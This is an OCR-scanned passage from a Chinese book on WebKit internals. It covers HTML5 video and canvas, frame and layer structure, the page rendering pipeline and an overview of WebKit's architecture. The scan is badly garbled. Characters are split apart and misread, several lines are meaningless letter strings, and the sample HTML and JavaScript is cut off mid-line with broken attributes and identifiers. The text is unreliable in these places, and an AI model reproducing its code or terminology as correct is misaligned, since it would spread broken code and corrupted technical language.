及 CSS3 3D 变 换 (transform) 和 转换 〈transition) 。HTML5 视 频 引 入 了 
一 个 新 的 “video” 元 素 ， 文 持 在 网 页 中 播放 视频 。Canvas2D 通 过 定义 一 
个 新 的 “canvas” 元 素 ， 网 页 开发 者 利用 该 元 素 的 2D 绘 图 上 下 文 

(graphics context) 调用 标准 定义 的 接口 ， 绘 制 常见 的 2D 图 形 ， 例 如 
点 、 线 、 和 矩形 、 多 边 形 等 。WebGL 则 是 使 用 “canvas” 元 素 ， 网 页 开发 者 





可 以 利用 该 元 素 的 3D 绘 图 上 下 文 调 用 标准 定义 的 接口 ， 绘 制 3D 图 形 ， 
这 些 接 口 类 似 于 OpenGL ES 的 接口 。CSS 3D 的 变换 和 转换 则 可 以 作用 于 
HTML 的 任意 可 视 元 素 ， 制 造 出 各 种 炫丽 的 3D 效 果 。 





想象 一 下 ， 如 果 网 页 开发 者 之 前 想 要 在 网 页 上 绘制 动态 2D、3D 图 
形 或 者 播放 视频 ， 浏 览 器 本 身 还 不 是 很 容易 办 到 。 通 党 的 做 法 是 ， 利 用 
浏览 器 提供 的 插件 来 支持 它们 ， 例 如 Flash 插 件 。 但 是 ， 现 在 HTML5 标 
准 已 经 包含 这 些 功 能 了 ， 也 就 是 说 ， 进 入 HIML5 时 代 后 ， 多 媒体 和 
2D/3D 图 形变 成 了 “第 一 等 公民 ”， 浏 览 器 原生 支持 它们 ， 而 不 需要 借助 
于 第 三 方 插件 。 读 者 可 能 还 没有 理解 “第 一 等 公民 ”的 含义 ， 因 为 这 看 起 
来 好 像 没有 什么 大 的 不 同 。 





事实 上 ， 这 的 确 很 不 一 样 ， 因 为 视频 、3D 图 形 等 和 其 他 普通 HTML 
元 素 一 样 ， 可 以 被 赋予 同样 的 样式 和 操作 。HTML5 不 仅 文 持 这 些 第 三 
方 插件 所 提供 的 能 力 ， 而 且 其 功能 更 为 强大 ， 因 为 除了 创建 HTML 元 素 
并 可 以 在 它 上 面 绘制 2D、3D 图 形 之 外 ， 甚 至 还 可 以 将 3D 的 变化 和 动画 
效果 作用 于 任意 HTML 元 素 之 上 ， 包 括 视频 等 。 


如 果 读 者 有 点 迷惑 ， 那 很 正常 ， 下 面 通过 例子 来 说 明 其 中 的 含义 。 
示例 代码 2-2 是 一 个 使 用 了 CSS3 3D 变 换 、HTML5 视 频 、2D 图 形 绘制 和 
3D 图 形 绘制 的 示例 网 页 代码 。 





示例 代码 2-2 使 用 HTML5 新 功能 视频 、2D 和 3D Canvas 的 网 页 代码 


<html> 
<head> 
<style type="text/css"> 


video, div, canvas{ 


-webkit-transform:rotateY(30deg) rotateX(-45deg);<! -- 
} 
</style> 
</head> 
<body> 
<video src="avideo.mp4"></video> <!--HTML5 vid 
<div> 
<canvas id="a2d"></canvas><br> <!--HTML5 canvas--> 
<canvas id="a3d"></canvas> <!--HTML5 can 
</div> 
<script type="text/javascript"> 


var size=300; 





//canvas 2D% % 
var a2dCtx=document .getElementById('a2d').getContext 
a2dCtx.canvas.width=size; 

a2dCtx.canvas.height=size; 
a2dctx.fillStyle="rgba(0,192,192, 80)"; 
a2dCtx.fillRect(0, 0, 200, 200); 





//canvas 3d, e.g. webGL2k 
var a3dCtx=document.getElementById('a3d').getContext 
a3dCtx.canvas.width=size; 

a3dCtx.canvas.height=size; 

a3dCtx.clearColor(0.0, 192.0/255.0, 192.0/255.0, 80. 
a3dCtx.clear(a3dCtx.COLOR_BUFFER_BIT) ; 


</script> 


</body> 
</html> 


在 CSS 3D 变 换 的 代码 部 分 ， 将 3D 变 换 作用 
于 “video”、“div” 和 “canvas” 三 种 元 素 ， 其 含义 是 将 它们 分 别 绕 X 轴 和 Y 
轴 旋 转 30" 和 -45"。 在 元 素 "body” 的 子女 中 ， 首 先是 “video” 元 素 ， 它 用 来 
播放 HTML5 视 频 。 之 后 是 一 个 “div” 元 素 ， 它 包括 两 个 “canvas” 元 素 ， 前 
者 将 会 用 来 绘制 2D 图 形 ， 后 者 将 会 用 来 绘制 3D 图 形 ， 当 然 目前 泻 染 引 
擎 区 分 不 出 是 2D 还 是 3D， 因 为 它们 是 由 后 面 的 JavaScript 代 码 决 定 的 。 
在 “canvas ”2D 绘 图 ”的 JavaScript 代 码 中 ，ID 为 “a2d” 的 “canvas” 元 素 创 建 
2D 上 和 下文， 这 决定 了 它 将 采用 2D 绘 图 ， 之 后 填充 该 元 素 的 颜色 。 
在 “canvas 3d (webGL 绘 图 ) ”的 JavaScript 代 码 中 ，ID 
为 “a3d” 的 “canvas” 元 素 创建 3D 上 下 文 ， 这 决定 了 它 将 采用 3D 绘 图 ,之 
后 更 新 它 的 颜色 缓冲 区 。 











在 刚刚 简单 的 示例 代码 2-2 中 ， 就 使 用 了 HTML5 的 这 些 新 功能 ， 读 
者 可 以 答 试 看 看 这 些 代码 的 效果 ， 当 然 ， 建 议 使 用 Google 的 Chrome 浏 览 
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2.2 ”网 页 结构 


2.2.1 框 结构 


框 结构 很 早 就 被 引入 网 页 中 ， 它 可 以 用 来 对 网 页 的 布局 进行 分 割 ， 
将 网 页 分 成 几 个 框 。 同 时 ， 网 页 开发 者 也 可 以 让 网 页 舱 入 其 他 的 网 页 。 
在 HTML 的 语法 中 ，“frameset”、“frame” 和 “iframe” 可 以 用 来 在 当前 网 页 
中 秽 入 新 的 框 结构 ， 这 里 就 不 具体 介绍 语法 了 ， 有 兴趣 的 读者 请 自行 得 
阅 相 关 文 档 。 





每 一 个 框 结构 包含 一 个 HTML 文 档 ， 最 简单 的 框 结构 网 页 就 是 单一 
的 框 ， 其 文档 没有 包含 任何 其 他 的 框 。 例 如 示例 代码 2-1 的 网 页 就 是 一 
个 单一 的 框 《 用 虚线 表示 ， 下 同 ) ， 框 中 包含 的 文档 就 是 HTML 文 档 
“用 实 线 表示 ， 下 同 ) ， 如 图 2-1 所 示 。 
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图 2-1 示例 代码 2-1 中 的 网 页 对 应 的 框 结构 
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推 。 下 面 让 我 们 来 看 一 个 拥有 复杂 框 结构 的 网 页 。 


图 2-2 的 左边 部 分 是 两 个 HTML 网 页 的 示例 代码 ， 其 中 “main.html” 是 
主 网 页 ， 它 使 用 *iframe” 元 素来 谍 入 左下 方 的 “frameset.html" 网 页 。 
而 “frameset.html”*” 网 页 则 包含 两 个 子 框 ， 分 别 舱 入 两 个 结构 简单 的 网 
页 。 图 中 右 侧 则 是 左边 “main.html* 网 页 所 生成 的 框 结 构 ， 可 以 说 相当 复 
杂 。 图 中 的 第 尖 表 示 源 代码 和 框 结构 的 对 应 关系， 相信 读者 可 以 一 目 了 
然 。 对 于 图 中 使 用 到 的 “examplel.html” 和 “example2.html”， 这 里 没有 给 
出 ， 可 以 把 它们 看 成 类 似 于 示例 代码 2-1 的 网 页 和 结构 。 





<!-- 这 是 main.html--> 






<html> 
<iframe src="frameset.html"></iframe> 7 
<div>Place Holder</div> 


</html> 








<!-- 这 是 frameset .html--> 
<html> 
<frameset rows="50%, 50%"> 
<frame src—"example2.html"></frame> | 
<frame sro="examplel -htm1"></frame> 
</frameset> 


</html> 











图 2-2 ”多 框 结构 的 网 页 





里 然 多 框 结构 的 网 页 非常 不 适合 移动 领域 ， 因 为 该 结构 对 触 控 操作 
来 说 的 确 是 一 场 灾难 ， 但 是 它 依然 存在 ， 而 且 在 传统 果 面 系统 中 被 广泛 
使 用 ， 笔 者 将 在 第 5 章 中 介绍 WebKit 是 如 何 支 持 框 结构 的 。 


2.2.2 ”层次 结构 


前 一 节 介 绍 了 网 页 的 框 结构 ， 那 么 对 于 框 结构 中 的 文档 ， 它 的 结构 
如 何 呢 ? 本 节 将 介绍 网 页 文档 的 层次 结构 。 理 解 层 次 结构 非常 重要 ， 
为 它 可 以 帮助 你 理解 WebKit 如 何 构建 它 并 依赖 它 来 泻 染 ， 这 有 助 于 撰写 
高 效 的 HTML5 代 码 。 








网 页 的 层次 结构 是 指 网 页 中 的 元 素 可 能 分 布 在 不 同 的 层次 中 ， 也 就 
是 说 某 些 元 素 可 能 不 同 于 它 的 父 元 素 所 在 的 层次 ， 因 为 某 些 原因 ， 
WebKit 需 要 为 该 元 素 和 它 的 子女 建立 一 个 新 层 。 下 面 以 示例 代码 2-2 中 
的 代码 来 作为 分 析 网 页 层次 结构 的 示例 网 页 。 








之 前 笔者 也 做 过 说 明 ， 示 例 代 码 2-2 中 有 四 个 重要 的 元 素 ， 那 就 是 
一 个 “video” 元 素 ， 一 个 “div” 元 素 和 两 个 “canvas” 元 素 。 同 时 还 要 注意 到 
的 是 CSS 部 分 的 代码 ， 它 也 会 对 网 页 的 分 层 策略 产生 重要 影响 。 图 2-3 就 
是 示例 代码 2-2 对 应 的 网 页 层次 结构 ， 让 我 们 一 一 剖析 它们 。 
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图 2-3 ”网 页 的 层次 结构 








首先 古 图 中 最 大 的 屋 ， 这 里 我 们 好 且 称 之 为 “ 根 层 ?”， 当 一 个 网 页 构 








建 层次 结构 的 时 候 ， 首 先是 根 节点 ， 此 时 自然 地 为 它 创建 一 个 屋 ， 这 就 
古 “ 根 层 ”， 所 以 ， 它 其 实 对 应 看 整个 网 页 文档 对 象 。 那 么 对 于 示例 代码 
2-1 而 言 ， 它 实际 上 只 有 “ 根 层 *"， 没 有 其 他 层 ， 这 是 网 页 包含 的 元 素 决 
定 的 。 











其 次 认识 一 下 图 中 的 “ 层 1”， 它 是 为 元 素 “video" 所 创建 的 层 。 那 为 
什么 “video” 元 系 需 要 新 创建 一 个 层 ， 而 不 是 使 用 它 的 父 杀 所 在 的 层 呢 ? 
这 是 因为 “video” 元 系 用 来 播放 视频 ， 为 它 创 建 一 个 新 的 层 可 以 更 有 效 地 
处 理 视频 解码 右 和 浏览 器 之 间 的 交互 和 泻 染 问题 ， 见 第 11 章 。 








再 次 ， 看 一 下 网 中 的 “ 层 2”， 它 所 对 应 的 是 示例 代码 2-2 中 的 元 
“div”。 接 触 过 HTML 的 读者 应 该 知道 ， 它 其 实 是 一 个 非常 普通 的 元 
。 而 且 上 面 我 们 也 说 到 了 示例 代码 2-1 只 有 “ 根 层 ”， 但 是 它 也 包 
“div? 元 素 。 这 是 为 什么 呢 ? 答案 是 因为 示例 代码 2-2 中 的 “div? 元 素 需 
进行 3D 变 换 。 
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最 后 ， 图 中 还 有 两 个 层 一 一 “ 层 3”? 和 “ 层 4”， 它 们 分 别 对 应 示例 代码 
2-2 中 的 两 个 元 素 “canvas”。 两 个 元 素 对 应 着 HTML5 标 准 中 复杂 的 2D 和 
3D 绘 图 操作 。 











相信 读者 也 注意 到 了 图 中 各 层 的 前 后 关系 。“ 根 层 ? 在 最 后 面 , “ 层 
3” 和 “ 层 4” 在 最 前 面 。 从 上 面 的 分 析 中 ， 我 们 不 难看 出 ， 对 于 需要 复杂 
变换 和 处 理 的 元 素 ， 它 们 需要 新 层 ， 所 以 ，WebKit 为 它们 构建 新 层 其 实 
是 为 了 泻 染 引擎 在 处 理 上 的 方便 和 蜗 效 (后 面 我 们 能 够 看 到 )。 

那么 ， 哪 些 元 系 或 者 说 哪些 情况 下 ， 会 产生 新 的 层 呢 ?对 于 不 同 的 
泻 染 引 擎 ， 它 们 的 策略 可 能 是 不 一 样 的 。 哪 伯 都 是 WebKit 泻 染 引擎 ， 对 
于 不 同 的 基于 WebKit 的 浏览 右 ， 分 层 人 策略 也 有 可 能 不 一 样 。 那 是 否 意味 





了 这 个 问题 无 解 了 ? 当然 不 是 ， 通 常 来 讲 ， 它 是 有 一 些 基本 原则 的 。 比 
如 示例 中 的 这 些 元 素 ，WebKit 一 般 都 会 为 它们 创建 新 层 。 在 第 7 章 中 ， 
笔者 会 详细 介绍 WebKit 和 和 Chromium 如 何 处 理 分 层 问题 。 


2.2.3 实践: 理解 网 页 结构 
2.2.3.1 ”实践 1: 框 结构 


为 了 理解 框 结构 ， 读 者 可 以 将 图 2-2 的 网 
页 “main.html” 和 “frameset.html” 的 代码 分 别 保存 到 对 应 的 文件 中 ， 然 后 
使 用 Chrome 浏 览 器 打开 “main.html* 网 页 ， 就 可 以 看 到 图 2-4 中 的 泻 染 结 
果 ( 当 然 ， 还 需要 “examplel.html”* 和 “example2.html* 网 页 ， 这 里 读者 可 
以 将 示例 代码 2-1 和 2-2 分 别 保存 为 它们 ， 或 者 自行 构造 任何 网 页 ) 。 











图 2-4 示例 网 页 的 框 结构 图 


我 们 将 图 2-2 中 的 框 和 网 页 泻 染 结果 中 的 区 域 关 联 起 来 。“ 框 2” 对 应 
的 自然 是 “examplel.html* 的 泻 染 结果 ,，“ 框 3” 对 应 的 自然 
是 “example2.html* 的 泻 染 结果 。“ 框 1* 是 它们 的 父亲 “frameset.html”， 而 
主 框 则 是 整个 网 页 的 结果 。 





2.2.3.2 ”实践 2， 层 次 结构 


结合 示例 代码 2-2 和 它 对 应 的 层次 结构 图 2-3， 让 我 们 在 Chrome 浏 览 
器 中 观察 网 页 的 层次 结构 。 








1. 用 浏览 右 打 开 示 例 代 人 码 2-2 的 网 页 ， 然 后 打开 Chrome 浏 览 器 的 开发 
Lhe 

2. 单 击 开 发 者 工具 右 下 角 的 “设置 ”按钮 。 

3. 在 “General” 标 签 页 里 的 选项 “Show composited layer borders” 前 打 
EH o 

4, 页 面 中 将 会 显示 网 页 的 层次 结构 ， 如 图 2-5 中 左 侧 的 图 片 所 示 。 








当 用 户 操 作 步 又 三 时 ，Chrome 会 为 每 个 层次 《其实 是 为 图 形 层 ， 
但 是 这 里 可 以 近似 等 价 于 本 章 的 层次 分 机 ， 第 8 章 会 分 析 两 者 的 联系 和 
差别 ) 的 边界 画 上 一 个 框 ， 用 以 标记 它们 。 如 图 2-5 所 示 ， 其 中 包含 很 
多 的 实 线 框 ， 它 们 是 层 的 边界 。 








图 2-5 示例 代码 2-1 网 页 的 层次 结构 


我 们 将 结果 同 层次 结构 图 2-3 对 应 起 来 ， 以 便于 直观 地 理解 。“ 层 
1” 和 “ 层 2” 被 设置 3D 变 换 ， 所 以 边框 成 平行 四 边 形 ， 而 不 是 “ 根 层 ”的 秆 
ER. HH, “ 层 3? 和 "* 层 4? 也 被 设置 3D 变 换 ， 但 是 发 现 角 度 比 “ 层 2? 更 
大 ， 原 因 在 于 3D 变 换 的 三 加 效应 。 回 顾 示例 代码 2-2 可 以 发 现 ， 两 
个 “canvas” 元 素 本 身 需 要 进行 3D 变 换 ， 同 时 它们 的 父 杀 “div" 元 系 也 需 
T, AEZ, BI EEIE KIRI. 




















细心 的 读者 也 许 会 发 现 “ 根 层 ” 中 包含 很 多 大 小 一 样 的 方块 ， 同 
时 ,“ 层 2? 也 是 一 样 ， 这 是 WebKit 故 意 将 它们 划分 成 小 块 的 瓦 请 所 致 ， 
这 些 都 会 在 第 8 章 中 得 到 解释 。 





有 兴趣 的 读者 可 以 尝试 修改 网 页 的 代码 ， 看 看 都 会 及 生 些 什么 。 同 
时 ， 还 可 以 尝试 一 下 示例 代码 2-1 所 表示 的 网 页 ， 然 后 依照 上 面 的 步 
又 ， 碍 看 一 下 网 页 的 层次 结构 ， 比 较 一 下 该 层次 结构 跟 图 2-5 有 什么 不 
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2.3 WebKith W) ie ew Fe 
2.3.1 eX 


Dil bah ais EY EB VE Ft ze H a A FI URL” FERE FT AAE RR o 
TREE SN, KEP ee Ste, ce RE, at 
征 从 “URL? 到 构建 DOM 树 ;， 其 二 是 网 页 演 染 过 程 ， 从 DOM 树 到 生成 可 
视 化 图 像 。 其 实 ， 这 两 个 过 程 也 会 交 义 ， 很 难 给 予 明确 的 区 分 ， 所 以 ， 
为 了 简单 起 见 ， 本 书 统称 这 两 个 过 程 为 网 页 的 泻 染 过 程 。 








网 页 演 染 还 有 一 个 特性 ， 那 惑 是 网 页 通常 比 我 们 的 屏幕 可 视 面 积 要 
大 《在 移动 设备 上 尤其 明显 ) ， 而 当前 可 见 的 区 域 ， 我 们 称 为 视图 
(viewport) ， 这 一 概念 后 面 会 详细 介绍 和 频繁 使 用 到 。 因 为 网 页 比 可 
视 区 域 大 ， 所 以 浏览 器 在 演 染 网 页 的 时 候 ， 一 般 会 加 入 滚动 条 以 帮助 翻 
滚 网 页 。 就 用 户 体验 来 说 ， 垂 直方 向 滚动 效果 好 于 水 平方 癌 。 





2.3.2 WebKit Whe 


第 1 章 介 绍 过 网 页 的 一 般 泻 染 过 程 ， 这 里 笔者 重点 阐述 WebKit 中 的 
具体 模块 以 及 在 演 染 过 程 中 的 作用 ， 让 读者 对 WebKit 有 个 全 局 性 的 了 
解 ， 这 其 中 的 每 个 细 市 都 会 在 后 面 的 章节 逐步 展开 。 


让 我 们 回顾 一 下 这 个 过 程 中 的 数据 和 模块 ， 数 据 包 括 网 页 内 容 、 
DOM、 内 部 表示 和 图 人像， 模块 则 包括 HTML 解 释 器 、CSS 解 释 器 、 


JavaScript 引 擎 以 及 布局 和 绘图 模块 。 下 面 深入 这 些 模块 并 对 它们 做 进 一 
步 的 细 化 。 


根据 数据 的 流向 ， 这 里 将 泻 染 过 程 分 成 三 个 阶段 ， 第 一 个 阶段 是 从 
网 页 的 URL 到 构建 完 DOM 树 ， 第 二 个 阶段 是 从 DOM 树 到 构建 完 WebKit 
的 绘图 上 下 文 ， 第 三 个 阶段 是 从 绘图 上 下 文 到 生成 最 终 的 图 像 。 


为 了 摘 述 这 个 过 程 ， 下 面 笔者 会 将 WebKit 中 的 一 些 细节 展示 给 大 
家 ， 可 能 其 中 一 些 对 读者 来 说 很 陌生 ， 不 过 没关系 ， 笔 者 会 逐步 来 分 析 
它们 。 图 2-6 显 示 的 是 将 演 染 过 程 分 为 三 个 阶段 的 示意 图 ， 主 要 是 针对 
WebKit 中 的 逻辑 来 描述 的 。 








2 4 种 资源 
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图 2-6 从 网 页 URL 到 DOM 树 


图 2-6 摘 述 的 是 从 网 页 URL 到 构建 完 DOM 树 这 个 过 程 ， 数 字 表 示 的 
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具体 的 过 程 如 下 。 


1. 当 用 户 输入 网 页 URL 的 时 候 ，WebKit 调 用 其 资源 加 载 器 加 载 该 URL 
对 应 的 网 页 。 

2. 加 载 器 依赖 网 络 模块 建立 连接 ， 发 送 请 求 并 接收 答复 。 

3. WebKit 接 收 到 各 种 网 页 或 者 资源 的 数据 ， 其 中 某 些 资源 可 能 是 同步 
或 异步 获取 的 。 

.网 页 被 交 给 HTML 解释 器 转变 成 一 系列 的 词语 〈Token) 。 

. 解释 器 根据 词语 构建 节点 (Node) ， 形 成 DOM 树 。 

如 果 节 点 是 JavaScript 代 码 的 话 ， 调 用 JavaScript 引 擎 解释 并 执行 。 

.JavaScript 代 人 码 可 能 会 修改 DOM 树 的 结构 。 

. 如果 市 点 需要 依赖 其 他 资源 ， 例 如 图 片 、CSS、 视 频 等 ， 调 用 资源 
加 载 器 来 加 载 它 们 ， 但 是 它们 是 异步 的 ， 不 会 阻碍 当前 DOM 树 的 
继续 创建 ， 如 果 是 JavaScript 资 源 URL (没有 标记 异步 方式 ) ， 则 需 
要 停止 当前 DOM 树 的 创建 ， 直 到 JavaScript 的 资源 加 载 并 被 
JavaScript 引 擎 执行 后 才 继 续 DOM 树 的 创建 。 


ON AWM 


在 上 述 的 过 程 中 ， 网 页 在 加 载 和 演 染 过 程 中 会 发 出 "DOMConent” 事 
件 和 DOM 的 “onload” 事 件 ， 分 别 在 DOM 树 构建 完 之 后 ， 以 及 DOM 树 建 
完 并 且 网 页 所 依赖 的 资源 都 加 载 完 之 后 发 生 ， 因 为 某 些 资源 的 加 载 并 不 
会 阻碍 DOM 树 的 创建 ， 所 以 这 两 个 事件 多 数 时 候 不 是 同时 发 生 的 。 


接 下 来 就 是 WebKit 利 用 CSS 和 DOM 树 构建 RenderObject 树 直到 绘图 
上 上 下文， 如 图 2-7 所 示 的 过 程 。 





RenderObject 树 
RenderLayer 树 
绘图 上 下 广 


图 2-7 从 CSS 和 DOM 树 到 绘图 上 下 文 






这 一 阶段 的 具体 过 程 如 下 。 


1. CSS 文 件 和 被 CSS 解 释 喜 解释 成 内 部 表示 结构 。 

2. CSS 解 释 器 工作 完 之 后 ， 在 DOM 树 上 附加 解释 后 的 样式 信息 ， 这 就 
是 RenderObject 树 。 

3. RenderObject 节 点 在 创建 的 同时 ，WebKit 会 根据 网 页 的 层次 结构 创 
建 RenderLayer 树 ， 同 时 构建 一 个 虚拟 的 绘图 上 下 文 。 其 实 这 中 间 
还 有 复杂 的 内 部 过 程 ， 有 具体 在 后 面 专门 的 章节 做 详细 介绍 。 














RenderObject 树 的 建立 并 不 表示 DOM 树 会 被 销毁 ， 事 实 上 ， 上 述 图 
中 的 四 个 内 部 表示 结构 一 直 存 在 ， 直 到 网 页 被 销毁 ， 因 为 它们 对 于 网 页 
的 泻 染 起 了 非常 大 的 作用 。 
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2D 和 3D 图 形 库 ， 如 图 2-8 所 示 。 





3D 图 形 库 
最 终 的 图 像 





图 2-8 ”从 绘图 上 下 文 到 最 终 的 图 像 





图 中 这 一 阶段 对 应 的 具体 过 程 如 下 。 





. 绘图 上 下 文 是 一 个 与 平台 无 关 的 抽象 类 ， 它 将 每 个 绘图 操作 桥接 到 
不 同 的 具体 实现 类 ， 也 就 是 绘图 具体 实现 类 。 

. 绘图 实现 类 也 可 能 有 简单 的 实现 ， 也 可 能 有 复杂 的 实现 。 在 
Chromium 中 ， 它 的 实现 相当 复杂 ， 需 要 Chromium 的 合成 器 来 完成 
复杂 的 多 进程 和 GPU 加 速 机 制 ， 这 在 后 面 会 涉及 。 

. 绘图 实现 类 将 2D 图 形 库 或 者 3D 图 形 库 绘 制 的 结果 保存 下 来 ， 交 给 
浏览 器 来 同 浏览 器 界面 一 起 显示 。 








这 一 过 程 实际 上 可 能 不 像 图 中 描述 的 那么 简单 ， 现 代 浏 览 器 为 了 绘 





图 上 的 高 效 性 和 安全 性 ， 可 能 会 在 这 一 过 程 中 引入 复杂 的 机 制 。 而 且 ， 
绘图 也 从 之 前 单纯 的 软件 演 染 ， 到 现在 的 GPU 硬件 演 染 、 混 合演 染 模型 





等 方式 ， 这 些 同样 会 以 单独 的 章节 加 以 训 析 。 








上 面 介 绍 的 是 一 个 完整 的 演 染 过 程 。 现 代 网 页 很 多 是 动态 网 页 ， 这 
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一 直 在 不 停 地 重复 执行 泻 染 过 程 。 


2.3.3 KE: 从 网 页 到 可 视 化 结 
让 笔者 以 示例 代码 2-1 中 的 网 页 为 例 说 明 浏 览 器 如 何 从 用 户 输入 


URL (下 面 的 例子 中 是 “examplel.html”*〉 开 始 到 最 后 生成 可 视 化 结果 的 





先 解释 第 一 阶段 -一 从 网 页 的 URL 到 构建 完 DOM 树 。 方 法 也 很 简 


单 ， 步 骤 如 下 。 


Ni 


46, FJ FFChromed) as WIR LA, #ih Network” ith. 


其 次 ， 输 入 网 页 的 URL， 可 以 看 到 如 图 2-9 的 界面 《 除 掉 三 个 文本 
框 “资源 加 载 "等 )。 


资源 加 载 
oe DOMContentLoaded onLoad 
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图 2-9 ”资源 加 载 和 DOM 树 的 建立 





图 中 的 上 半 部 分 是 网 页 的 泻 染 结果 ， 下 半 部 分 是 Chrome 开 发 者 工 
具 显 示 的 网 页 加 载 的 结果 。 从 中 可 以 看 出 ， 该 网 页 包含 两 个 资源 ， 一 个 


ZN 





是 主 HIML 页 面 ， 另 一 个 是 “apic.png” 的 图 片 。 加 载 它们 的 顺序 当然 是 先 
HTML 页 面 ， 然 后 是 图 片 。 这 其 中 读者 可 以 看 到 两 条 竖 线 。 左 侧 的 竖 线 
表示 DOM 已 经 创建 完成 ， 右 侧 竖 线 表 示 资 源 都 加 载 完成 ， 图 中 可 以 看 

到 右 侧 紧 线 是 在 图 片 加 载 完 一 段 时 间 之 后 出 现 的 。 右 侧 紧 线 之 后 ， 第 一 


阶段 即 告 完成 。 





接 下 来 是 第 二 阶段 和 第 三 阶段 ， 它 们 在 下 面 被 一 起 描述 。 同 样 以 示 
例 代 码 2-1 的 网 页 为 例 加 以 说 明 。 如 图 2-10 所 示 ， 得 到 示意 图 的 步骤 如 
Pe 
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第 一 阶段 第 二 阶段 第 三 阶段 


























日 Receive Data [apic,png) 


ive apic 
& Finish Loading (apic.png) 
Event (load) 
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其 次 ， 打 开 Chrome 浏 览 器 的 开发 者 工具 ， 单 击 “Timeline” 按 钮 ， 它 
表示 的 是 根据 时 间 来 获取 网 页 泻 染 的 动作 过 程 。 





再 次 ， 单 击 最 下 面 一 栏 的 <“e” 按 钮 ， 表 示 开 始 记录 泻 染 中 的 操作 ， 
然后 刷新 网 页 〈 按 F5 即 可 ) ， 重 新 洽 染 网 页 。 


最 后 ， 网 页 显示 出 来 后 ， 再 按 一 下 “e” 按 钮 就 会 得 到 上 图 所 示 的 效 
果 ， 它 表示 停止 收录 这 些 数据 。 





图 中 己 经 标明 对 应 的 阶段 ， 第 一 阶段 得 到 的 信息 与 图 2-9 的 信息 类 
似 ， 只 是 表现 形式 不 一 样 。 图 中 的 “第 二 阶段 ?只 是 显示 了 “布局 计算 ?部 
分 ， 内 部 数据 结构 的 创建 没有 在 图 中 显示 出 来 ， 这 没关系 ， 不 妨碍 我 们 
对 这 个 阶段 的 理解 。 图 中 的 “第 三 阶段 ? 则 是 实际 的 绘图 阶段 ， 里 面包 
括 “paint”( 表 示 绘 制 节点 ) 和 “composite Layers”( 合 成 网 页 的 层次 ) ， 
这 里 主要 是 启动 了 硬件 泻 染 ， 第 8 章 再 做 详细 介绍 。 








通过 上 面 的 介绍 ， 相 信 读 者 基本 上 理解 了 这 一 过 程 ， 这 有 助 于 我 们 
编写 合适 和 局 效 的 代码 ， 局 示人 至 少 有 以 下 两 点 。 





1. 通过 阶段 化 分 析 ， 网 页 开发 者 理解 “onload” 事 件 
和 “DOMContentLoaded” 事 件 什么 时 候 被 触发 ， 从 而 可 以 在 
JavaScript 代 码 中 注册 相应 的 回调 函数 。 

2. 在 DOM 的 构建 过 程 中 需要 执行 JavaScript 代 人 码 ， 所 以 需要 特别 注意 
这 部 分 代码 对 网 页 DOM 的 访问 问题 ， 因 为 这 个 时 候 DOM 可 能 还 未 
创建 完成 ， 因 而 JavaScript 代 码 不 能 访问 DOM 结 构 。 





第 3 草 WebKit 架 构 和 模块 


从 本 章 开 始 ， 正 式 进 入 介绍 WebKit 的 内 部 原理 部 分 。 这 一 章 从 
WebKit 内 部 的 主要 结构 和 模块 开始 ， 随 后 介绍 基于 WebKit 的 Chromium 
浏览 器 的 内 部 结构 和 模块 ， 并 介绍 多 线程 和 多 进程 模型 ， 并 将 
Chromium 的 多 进程 模型 同 WebKit2 的 多 进程 模型 进行 比较 ， 训 析 目 前 前 
沿 的 浏览 器 架构 和 设计 理念 。 


3.1 WebKit 架构 及 模块 


3.1.1 获取 WebKit 


WebKit 是 一 个 开源 项 目 ， 读 者 可 以 很 方便 地 从 www.webkit.org 官 方 
网 站 下 载 源 代码 ， 目 前 支持 svn 和 git 两 种 代码 管理 方式 ， 笔 者 偏好 使 用 
gito 


编译 WebKit 也 相对 简单， 运行 脚本 “Tools/Scripts/build-webkit-help” 
由 查看 帮助 了 解 详细 情况 。 因 为 WebKit 支 持 不 同 的 浏览 器 ， 采 用 不 同 
的 移植 所 以 你 需要 选择 编译 哪个 移植 ， 例 如 编译 gtk 版 WebKit、Qt 版 
WebKit 或 者 Safari 版 Webkit 等 。 





3.1.2 WebKit 架构 


WebKit 的 一 个 显著 特征 就 是 它 文 持 不 同 的 浏览 器 ， 因 为 不 同 浏览 器 
的 需求 不 同 ， 所 以 在 WebKit 中 ， 一 些 代码 可 以 共享 ， 但 是 另外 一 部 分 是 
不 同 的 ， 这 些 不 同 的 部 分 称 为 WebKit 的 移植 (Ports) 。 今 后 笔者 也 用 
WebKit 的 移植 指 代 该 移植 和 依赖 的 WebKit 的 共享 部 分 。 


第 1 章 中 ， 笔 者 介绍 过 一 张 简 单 的 WebKit 结 构图 ， 图 中 只 有 简单 的 2 
一 3 个 模块 ， 那 是 故意 隐 去 了 其 中 的 细节 ， 本 节 重 点 介绍 WebKit 架 构 的 
细节 ， 如 图 3-1 所 示 。 
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图 3-1 WebKit% #4 


图 中 的 WebKit 架 构 ， 虚 线 框 表示 该 部 4 Seca 览 器 使 用 的 
WebKit 内 核 中 的 实现 是 不 一 样 的 ， 也 就 是 它们 不 是 普遍 共享 的 。 用 实 线 
框 标记 的 模块 表示 它们 基本 上 是 共享 的 ， a 说 绝 ， 是 因为 它 
们 中 的 一 些 特性 可 能 并 不 是 共享 的 ， 而 且 可 以 通过 不 同 的 编译 配置 改变 
它们 的 行为 。 这 里 面 有 这 么 多 的 不 同 ， 所 以 ， 很 多 使 用 WebKit 的 浏览 器 
可 能 会 表现 出 不 同 的 行为 ， 显 然 束 不 令 人 惊奇 了 了 7。 是 的 ， 确 实 够 复杂 
的 ! 

















好 ， 下 面 我 们 开始 依次 从 下 向 上 来 分 析 。 





图 中 最 下 面 的 是 “操作 系统 ”，WebKit 可 以 在 不 同 的 操作 系统 上 工作 
(具体 选择 视 不 同 的 需要 而 定 ) 。 不 同 浏览 器 可 能 会 依赖 不 同 的 操作 系 
统 ， 同 一 个 浏览 器 使 用 的 WebKit 也 可 能 依赖 不 同 的 操作 系统 ， 例 如 ， 
Chromium 浏 览 器 支持 Windows、Mac OS、Linux、Android 等 系统 。 





在 “操作 系统 * 层 之 上 的 就 是 WebKit 赖 以 工作 的 众多 第 三 方 库 ， 这 些 
库 是 WebKit 运 行 的 基础 。 通 常 来 讲 ， 它 们 包括 图 形 库 、 网 络 库 、 视 频 库 


等 ， 加 载 和 泻 染 网 页 需要 它们 不 足 为 奇 。WebKit 是 这 些 库 的 使 用 者 ， 如 
何 高 效 地 使 用 它们 是 WebKit 和 各 种 浏览 右 广 商 的 一 个 重大 课题 ， 主 要 是 
